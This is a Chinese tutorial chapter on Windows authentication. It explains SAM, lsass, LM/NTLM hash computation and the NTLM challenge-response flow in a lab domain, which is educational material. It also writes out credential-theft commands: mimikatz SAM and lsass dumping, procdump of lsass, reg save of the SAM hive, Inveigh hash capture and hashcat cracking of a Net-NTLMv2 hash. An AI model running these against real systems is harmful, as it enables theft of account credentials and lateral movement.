第二章-Windows认证机制和协议
<1> Windows认证
(1) Windows认证基础
windows的认证包括三个部分:
- 本地认证:用户直接操作计算机登录账户
- 网络认证:远程连接到工作组中的某个设备
- 域认证:登录到域环境中的某个设备
windows认证和密码的抓取可以说是内网渗透的第一步
(2) windows本地认证
电脑上存储着自己的账号密码,无论电脑是否联网、通外网,只要能开机,就可以输入账号密码登录到电脑中,工作组就是采用本地认证
Windows的登陆密码是储存在系统本地的SAM文件中的,在登陆Windows的时候,系统会将用户输入的密码与 SAM文件中的密码进行对比,如果相同,则认证成功
SAM文件是位于 %SystemRoot%\system32\config\ 目录下的,用于储存本地所有用户的凭证信息

Windows本地认证流程

其中:
Windows Logon Process(即winlogon.exe):是Windows NT 用户登陆程序,用于管理用户登陆和退出

LSASS:一个系统进程,用于微软Windows系统的安全机制,它用于本地安全和登陆策略
用户注销、重启、锁屏后,操作系统会让winlogon.exe 显示开机登陆界面,接收用户的输入信息后,将密码交给lsass进程,这个过程中会存一份明文密码,将明文密码加密成NTLM Hash,对SAM数据库进行比较认证
(3) SAM文件和lsass.exe进程详解
SAM文件是Windows的用户账户数据库,所有用户的登录名及口令等相关信息都会保存在这个文件里,格式如下:
用户名称:LM-HASH值:NTLM-HASH值
注:SAM文件中的密码并不是以明文的形式存在,他是加密后存储在SAM文件中
Lsass.exe的进程作用非常重要,它主要负责管理本地安全策略和认证机制。这些策略包括 密码策略、账户策略、用户权限、域策略等等。同时,它还负责对用户进行身份认证,以确保只有授权的用户才能访问系统资源
- 将 winlogon.exe 传过来的明文账号密码进行加密,然后和SAM文件中的密文账号密码作比对。比对成功则登录成功
- 将收到的明文账号密码在本地内存中保留一份备用 (因此可以在内存抓明文密码)

(4) 有什么方式读取SAM文件
在线读取(如果有杀软,读取工具可能会被杀,需要绕杀软)
1
2# 使用mimikatz在线读
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
离线读取(文件复制到你的电脑上,不需要绕过杀软)
1
2
3
4
5
6
7reg save hklm\sam sam.hive
reg save hklm\system system.hive
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive"
# nishang的copy-vss进行复制 如果脚本运行在DC上,ntds.dit和SYSTEM hive也能被dump出来
copy-vss # 文件会直接保存在当前路径下弊端:有的文件过大,传输过程容易中断

实际上,能不能离线破解出来这个明文密码都一样 拿到NTLM Hash值即可 因为Windows上的认证都是对这个值认证的,后面的 PTH 哈希传递攻击时会提到。administrator是肯定可以利用进行PTH的。
(5) 有什么方式读取lsass进程
在线读取 lsass进程
从 lsass进程中提取 passwords、keys、pin、tickets等信息
1
2
3
4
5
6
7
8privilege::debug
sekurlsa::msv # 获取HASH(LM,NTLM)
sekurlsa::wdigest # 通过可逆的方式去内存中读取明文密码
sekurlsa::kerberos # 如果域管理员登录了我们电脑,可以以此来获取域管的明文密码
sekurlsa::tspkg # 通过tspkg来获取明文密码
sekurlsa::livessp # 通过livessp 读取明文密码啊
sekurlsa::ssp # 通过ssp读取明文密码
sekurlsa::logonPasswords # 通过上述各种方式读取明文密码
离线读取 lsass进程
lsass.exe系统进程 在任务管理器中可以看到。 实际上我们可以 右键-> 创建存储文件


也可以用工具 procedump
1
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
复制出来本地使用mimikatz 读取 lsass.dmp文件
1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full"
上面两种方式都可以看到,读取了 NTLM的值,但是明文密码那却是 (null)
为什么会这样呢?
高版本弃用了LM,同时也不再往内存里写入明文密码
<2> Windows LM和NTLM哈希加密过程
(1) LM HASH值介绍
Windows操作系统通常使用两种方法对用户明文密码进行加密处理。一部分为 LM-Hash,另一部分为NTLM-Hash。 在域环境中,用户信息存储在ntds.dit中,加密后为散列值
Hash结构:username:RID:LM-HASH:NT-HASH
LM Hash 全名为 “LAN Manager Hash” ,是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是 DES 加密。尽管LM Hash 比较容易破解,但为了保证系统的兼容性,Windows 只是将 LM Hash禁用了(从 Windows vista 和 Windows Server2008版本开始,Windows操作系统默认禁用LM Hash)。
LM Hash明文密码被限定在14位以内,即如果要停止使用 LM Hash,将用户密码设置成14位以上即可。 如果LM Hash被禁用了,攻击者通过工具抓取的LM Hash通常 为 “ad3435b51404eead3b435b51404ee” (表示LM Hash为空值或被禁用)
NTLM Hash是微软为了在提高安全性的同时,保证兼容性而设计的散列加密算法。NTLM Hash是基于 MD4加密算法进行加密的。个人版的Windows vista 以后,服务器版从 Windows Server2003 以后,Windows 操作系统的认证方式均为 NTLM Hash
为了解决加密和身份验证方案中固有的安全弱点,Microsoft 于 1993年在Windows NT 3.1 中引入了NTLM协议。下面是各个版本对 LM Hash和 NTLM Hash的支持
| 加密类型 | 2000 | XP | 2003 | Vista | Win7 | 2008 | Win8 | 2012 | Win10 | 2016 | Win11 |
|---|---|---|---|---|---|---|---|---|---|---|---|
| LM-Hash | 1 | 1 | 1 | 1 | |||||||
| NTLM-Hash | 1 | 1 | 1 | 1 | 1 | 1 | 1 |
(2) LM Hash加密原理
假设我们 administrator的密码为 Admin@123
加密过程如下:
将明文口令转换为其大写形式
即 Admin@123 -> ADMIN@123
将字符串大写后转换为16进制字符串
41 44 4D 49 4E 40 31 32 33
密码不足14字节要求用0补全,密码为9个字符,还差5个 补00
补全后为:41 44 4D 49 4E 40 31 32 33 00 00 00 00 00
然后将上述编码分成2组7字节
第一组:41 44 4D 49 4E 40 31
第二组:32 33 00 00 00 00 00
再将每一组7字节的十六进制转换为二进制,每7bit 一组末尾加0,在转换成十六进制组成得到2组8字节的编码
第一组:0100 0001 0100 0100 0100 1101 0100 1001 0100 1110 0100 0000 0011 0001
第二组:0011 0010 0011 0011 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
七位一组分开 末尾加上0 得到:
第一组:0100000010100010000100101010100010010100011100100000000001100010
第二组:0011001000011000110000000000000000000000000000000000000000000000
再挨个转换成十六进制
第一组:40A212A894720062
第二组:3218C00000000000
将以上步骤得到的两组8字节的编码,分别作为DES加密的key 给魔术字符串”KGS!@#$%” 进行加密
KGS!@#$%的16进制为 4B47532140232425
先用第一组当key

得到:6F08D7B306B1DAD4
再用第二组当key

得到:B75E0C8D76954A50
最终拼接即可,6F08D7B306B1DAD4B75E0C8D76954A50 即 Admin@123 的 LM-Hash值
(3) NTLM Hash值介绍
NTLM Hash是微软为了在提高安全性的同时,保证兼容性而设计的散列加密算法。NTLM Hash是基于 MD4加密算法进行加密的。个人版的Windows vista 以后,服务器版从 Windows Server2003 以后,Windows 操作系统的认证方式均为 NTLM Hash
(4) NTLM hash与NTLM的关系
注:NTLM Hash值跟 NTLM协议不是一个东西,别混淆了
- NTLM hash为windows认证中的密码哈希散列,而 NTLM是一种网络认证协议,全称 NT LAN Manager,使用NTLM hash作为认证中的根本凭证
- LM Hash 即 LM协议所使用的密码hash。NT 和 LM认证机制相同,但加密算法不同,由于 LM Hash比较容易破解,在新一点的版本被淘汰
(5) NTLM Hash加密原理
假设我们 administrator的密码为 Admin@123
加密过程如下:
将明文口令转换成十六进制的格式
得到:41646D696E40313233
将十六进制转换成Unicode格式,即在每个字节后添加0x00
得到:410064006D0069006E004000310032003300
对 Unicode字符串 hex转码后作 MD4 加密,生成32位的十六进制字符串
得到:570a9a65db8fba761c1008a51d4c95ab

cmd5可以爆破出来这个弱口令

所以 我们电脑里SAM文件存放的hash密文即为
administrator:6F08D7B306B1DAD4B75E0C8D76954A50:570a9a65db8fba761c1008a51d4c95ab
如果 LM hash被禁用,那么中间的LM Hash应该就是 “aad3b435b51404eeaad3b435b51404ee”
我们利用 mimikatz 抓密码工具 再来验证一下
1 | mimikatz.exe # 进入到mimikatz的命令行 |

一模一样
用python 来进行NTLM加密的话,代码为:
1 | import binascii |
可以得到第二步对应的 16进制串,然后使用hashcalc加密即可

<3> Windows网络认证
当我们访问同一局域网的一台主机上的SMB共享时提供凭证通过验证才能成功进行访问,这就涉及到windows的网络认证
(1) 网络认证概述
网络认证:Windows网络认证是指在Windows 操作系统中进行网络通信和资源访问时,验证用户身份和授权权限的过程。它确保只有经过身份验证的用户能够访问网络资源,并根据其权限级别进行授权操作。
网络认证有哪些?
(2) NTLM协议
NTLM:NTLM 即 NT LAN Manager,是一种早期的Windows 网络认证协议,它基于 挑战(Challenge)/响应(Response)的方式进行身份认证。尽管Kerberos 已经成为首选的认证协议,NTLM 在某些情况下仍在使用,特别在旧版Windows系统或非Windows系统进行交互操作时
NTLM中继(NTLM Relay):是指在NTLM认证过程中设置中间人对HTLM认证的请求截获并转发的一种攻击行为
(3) NTLM协议认证机制
NTLM在工作组环境的认证
其认证过程大致分为三步:
- 协商:解决历史遗留问题,为了能向下兼容,双方会确定一下传输协议的版本等各种信息
- 质询: 挑战(Challenge)/响应(Response)认证机制的关键
- 验证:对质询的结果进行验证,验证通过后即 允许访问资源。是认证的最后一步

NTLM协议 v1 v2版本区别
协商时会确定传输协议的版本,这里版本分为v1和v2。
NTLMv1与NTLM v2最显著的区别就是
- 共同点就是加密的原料都是NTLM Hash
- 不同点是Challenge与加密算法不同,NTLM v1的Challenge有8位,NTLM v2的Challenge为16位;NTLM v1的主要加密算法是DES,NTLM v2的主要加密算法是HMAC-MD5
工作组中认证过程:
- 当客户端要访问服务器上某个受保护的服务时,需要输入服务器的用户名和密码进行验证。此时客户端会在本地缓存一份服务器密码的NTLM hash,然后向服务器发送协商消息。
- 服务器收到客户端的协商信息后,生成并回复质询消息。该消息中包含了一个由服务端生成的16位随机值challenge,服务器也会在本地缓存该值。
- 客户端收到质询消息后,会使用步骤1中缓存的服务器的NTLM hash 与 Challenge进行一系列加密生成 Response,再将 Response 封装到身份验证消息中发往服务器。
- 服务器在收到身份验证消息后,用自己密码的NTLM hash与Challenge进行加密生成Response2,并比较Response2与Response是否一致。如果一致,就证明客户端掌握了服务器的密码,认证成功,否则认证失败。
NTLM在域环境下的认证
在域环境中,由于所有域用户的哈希值都存储在 域控的 NTDS.dit 中,服务器本身无法计算Response消息,因此需要与域控建立一个安全通道,并通过域控完成最后的认证流程。前三个步骤同工作组环境的认证
域中认证过程:
- 当域用户输入自己的账号和密码登录客户端主机时,客户端会将用户输入的密码转换为NTLM hash并缓存。当用户想访问域内某台服务器上的资源时,客户端会向服务器发送TYPE1 Negotiate消息
- 服务器收到客户端的协商信息后,生成并回复质询消息。服务端发送Type2 NTLMSSP_CHALLENGE消息,其中包含16位的随机Challenge值
- 客户端收到质询消息后,会使用步骤1中缓存的域用户的NTLM hash 与 Challenge进行一系列加密生成 Response。客户端发送Type3 NTLMSSP_AUTH消息,其中包括Response消息
- 服务端收到客户端发来的Type3 NTLMSSP_AUTH消息后,会将消息通过 Netlogon协议转发给域控制器
- 域控根据自身计算出的Net-NTLM Hash与服务端发过来的Net-NTLM Hash做比较,然后根据结果对客户端进行相应的回复

(4) NTLM基本概念SSPI/SSP
SSPI是安全服务接口是Windows定义的一套接口,该接口定义了与安全有关的功能函数,包括但不限于:
- 身份验证机制
- 为其他协议提供会话安全可为通信提供完整性校验以及数据的加密、解密的功能。
SSPI 只是定义了一套接口函数,具体实现有SSP完成。
SSP是SSPI的实现者,微软自己也实现了很多SSP用于提供安全功能
典型的SSP实现:
- NTLM SSP:Windows NT 3.5中引入(msv1_0.dll)为Windows 2000之前的客户端提供服务器域和非域身份验证(SMB/CIFS)提供NTLM质询/响应身份验证
- Kerberos SSP:Windows 2000 中引入为Windows 2000以及更高的版本中首选客户端-服务器域提供相互身份验证
SSPI中定义了会话安全的API,所以上层应用利用任何SSP与远程的服务进行身份验证后,SSP都会为本次的连接生成一个随机key,这个随机key,称为”session key” ,上层的应用经过身份验证后,可以选择性使用这个session key,往服务端或者接收服务端的数据进行签名或加密,SSP就是一个dll,用来实现身份验证等安全功能,不同的SSP实现身份验证的方式是不一样的,比如NTLM SSP实现的是一种基于质询/响应的身份验证机制,Kerberos SSP实现的是基于Tick票据的身份验证机制。
(5) NTLM认证过程抓包分析
为了学习方便,又搭了一套域环境
- Win2012 IP:192.168.16.10 即 DC
- Win2008 IP:192.168.16.20 域内主机
我们打开 wireshark 监听 域环境的那个VMNet
使用访问另一台主机的共享
net use \\192.168.16.10\ipc$ /u:administrator Admin@123
根据抓到的数据包,下面也可以看到,net use 是基于SMB协议
我们 先看前四个数据包,Negotiate Protocol Response,是进行协商的

再往下看 第五个数据包,这个是用户启动身份的验证包 flag里确定了一些相关规则
第六个数据包 包含了challenge值

第七个数据包是 发送Response的数据包,还包含账户名的相关信息

客户端根据获得的信息,进行一系列加密得到Response,即这里的 “NTLMv2 Response” 的值

第八个数据包 即返回结果,用来表示成功 or 失败 失败即ERROR
(6) challenge和Response分析
challenge是随机数,位数取决于 NTLM协议的版本 前面提到了
response是如何组成的
response由 NTProofStr+blob两部分组成
- NTProofStr:使用 NTLM v2 Hash值作为key 对(challenge+blob) 进行 HMAC-MD5加密
- NTLM v2 Hash:大写Username+Domain name 进行unicode编码,然后和用户名对应密码的 NTLM HASH值进行HMAC-MD5加密
- blob是由时间、目标信息、随机填充字符生成
计算公式如下:
NTLMv2Hash= HMAC-MD5(unicode(hex(upper(UserName)+DomainName))),NTLM Hash)
NTProofStr=HMAC-MD5(challenge+blob,NTLM v2 Hash)
我们平时利用工具攻击时 抓到的往往是 Net-NTLM Hash数据
Net-NTLM-Hash格式介绍及拼接
Net-NTLM-v2-Hash的格式为:username::domain:challenge:HMAC-MD5:blob
含义:
| username | 要访问服务器的用户名 |
|---|---|
| domain | 域信息 |
| challenge | 数据包6中的服务器返回的challenge值 |
| HMAC-MD5 | 数据包7中的NTProofStr |
| blob | 对应数据包7中NTLM v2 Response去掉NTProofStr的后半部分 |
我们利用中间人攻击 Inveigh工具抓取一下 Net-NTLM-v2-Hash 值
1 | powershell |

1 | administrator::WIN2008:D5E3F1B5CF0101C8:692B3996DC8BF7F0DA9598E6B59DC63D:010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000 |


可以看到 工具抓取的challenge和NTProofStr跟wireshark的是一样的
1 | NTLM HASH:570a9a65db8fba761c1008a51d4c95ab |
我们利用获取的信息手动计算一下,体会加密过程
计算NTLM-v2-HASH
- 将 administrator转化为大写:ADMINISTRATOR
- 然后与域名WIN2008 拼接起来:ADMINISTRATORWIN2008
- 转化成16进制:41444d494e4953545241544f5257494e32303038
- 转化为unicode格式:410044004d0049004e004900530054005200410054004f005200570049004e003200300030003800
- 然后 用NTLM HASH:570a9a65db8fba761c1008a51d4c95ab 作为key 对上述进行HMAC-MD5加密 得到:e864d6b3c317322f934b6df3d5c44ffa 即 NTLM-v2-HASH的值

计算 NTProofStr
- 将 NTLM-v2-HASH值 e864d6b3c317322f934b6df3d5c44ffa 作为key
- 将 challenge 与 blob 值拼接起来:D5E3F1B5CF0101C8010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000
- 将 NTLM-v2-hash作为key 对上述数据进行 HMAC-MD5加密,得到:692b3996dc8bf7f0da9598e6b59dc63d 验证一下 一致

使用hashcat破解NET-NTLM hash
hashcat [option]
- -m:hash-type,5600对应NetNTLMv2,详细参数可查表:https://hashcat.net/wiki/doku.php
- -o:输出文件
- 字典文件为1.txt
- –force代表强制执行
hashcat 爆破一下我们上面得到的 NET-NTLM-Hash
1 | hashcat -m 5600 administrator::WIN2008:D5E3F1B5CF0101C8:692B3996DC8BF7F0DA9598E6B59DC63D:010100000000000078C3246656F7D901A0EB39BDD6C96EBA00000000020008004800410043004B000100040044004300040010006800610063006B002E0063006F006D0003001600440043002E006800610063006B002E0063006F006D00050010006800610063006B002E0063006F006D000700080078C3246656F7D90106000400020000000800300030000000000000000000000000300000B2B92C5F984625F199A7B3DA00A7897FD7B57990D2735F2E8E9198F48ADD0A8E0A001000000000000000000000000000000000000900240063006900660073002F003100390032002E003100360038002E00310036002E0031003000000000000000000000000000 rockyou.txt -o result.txt --force |

(7) NTLM协议的安全性问题
- Net-NTLM v1 v2 Hash破解:v1 使用DES加密,更容易破解。v2版本的话可以通过碰撞、彩虹表、暴力猜解等方式,获取明文账号密码
- NTLM-relay攻击:通过中间人攻击,如果获得了 Net-NTLM Hash值,如果爆破不出密码 可以考虑NTLM-relay攻击,可以重放 进行认证
参考:https://chenchena.blog.csdn.net/article/details/123274876?spm=1001.2014.3001.5502
<4> Kerberos域认证★
传送门:https://1vxyz.github.io/2023/10/05/Kerberos%E8%AE%A4%E8%AF%81%E5%AD%A6%E4%B9%A0/
第二章-Windows认证机制和协议

